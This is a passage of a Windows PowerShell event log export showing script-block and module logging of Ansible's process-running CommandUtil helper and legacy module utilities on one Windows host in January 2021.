IC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAg
ScriptBlock ID: cec584c0-e645-46e5-ba7d-eae3c1dd2ac4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1636 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1124 | 1328 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:06 AM | dfeadd90-ee34-0001-7528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1635 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1124 | 2456 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:06 AM | dfeadd90-ee34-0005-28f3-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 1124 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1634 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1124 | 4700 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:06 AM | dfeadd90-ee34-0005-28f3-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1633 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1124 | 2456 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:06 AM | dfeadd90-ee34-0005-28f3-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1632 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4644 | 4444 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:52 AM | dfeadd90-ee34-0005-fff2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4644 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1631 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4644 | 1620 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:52 AM | dfeadd90-ee34-0005-fff2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1630 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4644 | 4444 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:52 AM | dfeadd90-ee34-0005-fff2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 10e7766e-8883-4a9a-918d-0e755aa6bb72
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 766f137e-2b2c-4a67-8fdf-12983c19ddde
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 1629 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1536 | 4112 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:52 AM | dfeadd90-ee34-0003-aaef-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: ced8e84e-e191-4c8e-b93a-b492930298b2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1628 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1536 | 4348 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:52 AM | dfeadd90-ee34-0004-cd26-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
